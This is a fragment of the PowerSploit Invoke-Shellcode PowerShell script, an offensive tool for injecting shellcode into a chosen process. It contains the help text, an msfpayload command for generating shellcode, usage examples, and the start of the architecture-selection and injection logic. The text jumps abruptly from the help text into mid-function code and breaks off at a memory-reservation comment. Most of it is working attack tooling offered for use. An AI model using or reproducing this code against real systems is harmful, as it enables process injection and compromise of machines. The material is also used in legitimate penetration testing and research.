Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETERProcessID
Process ID of the process you want to inject shellcode into.
.PARAMETERShellcode
Specifies an optional shellcode passed in as a byte array
.PARAMETERForce
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
Invoke-Shellcode -ProcessId 4274
Description
-----------
Inject shellcode into process ID 4274.
.EXAMPLE
Invoke-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
Throw'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length-eq0)
{
Throw'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode=$Shellcode32
Write-Verbose'Injecting into a Wow64 process.'
Write-Verbose'Using 32-bit shellcode.'
}
else# 64-bit process
{
if ($Shellcode64.Length-eq0)
{
Throw'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode=$Shellcode64
Write-Verbose'Using 64-bit shellcode.'
}
}
else# 32-bit CPU
{
if ($Shellcode32.Length-eq0)
{
Throw'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode=$Shellcode32
Write-Verbose'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode